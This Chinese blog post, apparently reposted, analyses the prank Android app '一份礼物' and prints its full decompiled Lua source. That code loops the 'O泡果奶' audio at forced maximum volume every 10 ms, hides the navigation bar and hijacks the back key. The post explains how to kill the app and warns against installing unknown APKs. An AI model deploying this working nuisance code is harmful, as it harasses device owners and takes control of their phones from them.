前言:o泡果奶的声音火了,最近很多小伙伴不小心在手机中下载了叫做“一份礼物”的apk文件,安装了文件之后就会发出不可描述的声音,那么这是怎么回事呢?和小编一起来看看吧。
分析
是一款语音恶搞软件,下载后会生成apk软件,打开后会以最大音量播放O泡果奶语音。而且打开这个软件后,你关机或者想要调小手机音量是没用的,返回键是被劫持的,大家可以找到手机任务管理器,在人物管理器找到关掉它或者强制重启就可以了。
传播病毒程序是违反法律的,好在这个软件还没什么恶意,只是一个恶搞, 不该装的apk不能装,未知来源如果不是必须打开,就得关上。
在反编译的代码里面
-- main.lua --require("import")import("android.app.*")
import("android.os.*")import("android.widget.*")
import("android.view.*")
import("android.view.View")import("android.content.Context")import("android.media.MediaPlayer")
import("android.media.AudioManager")-- 音量控制模块import("com.androlua.Ticker")-- Ticker:定时触发器activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC,15,AudioManager.FLAG_SHOW_UI)--音量调大activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION|View.SYSTEM_UI_FLAG_IMMERSIVE)m=MediaPlayer()--播放器m.reset()m.setDataSource(activity.getLuaDir().."/mc.mp3")-- 引用包里的“O泡果奶”
m.prepare()m.start()m.setLooping(true)ti=Ticker()--计时器计时触发ti.Period=10-- 间隔为10msfunctionti.onTick()-- 设置ticker要触发的函数activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC,15,AudioManager.FLAG_SHOW_UI)-- 和上面一模一样activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION|View.SYSTEM_UI_FLAG_IMMERSIVE)-- 隐藏navbar等
endti.start()-- 开启ticker,每10ms执行一次上面的函数functiononKeyDown(A0_0,A1_1)-- 监听按键,不调用外部方法的话就相当于劫持下来了ifstring.find(tostring(A1_1),"KEYCODE_BACK")~=nilthen-- 如果按键是返回键activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC,15,AudioManager.FLAG_SHOW_UI)-- 设置音量为最大end-- 相当于把返回键变成了音量最大键returntrueend
总共34行,除去开头一大堆import,差不多就20行左右。
所以这个文件看上去就是去年不可描述声音软件的改版,安全方面并没有太大的威胁,并且作者还留下了人性化的可关闭方法,不过还是避免不了"社会性死亡"的最终命运。
转载:https://blog.csdn.net/weixin_45713725/article/details/109097380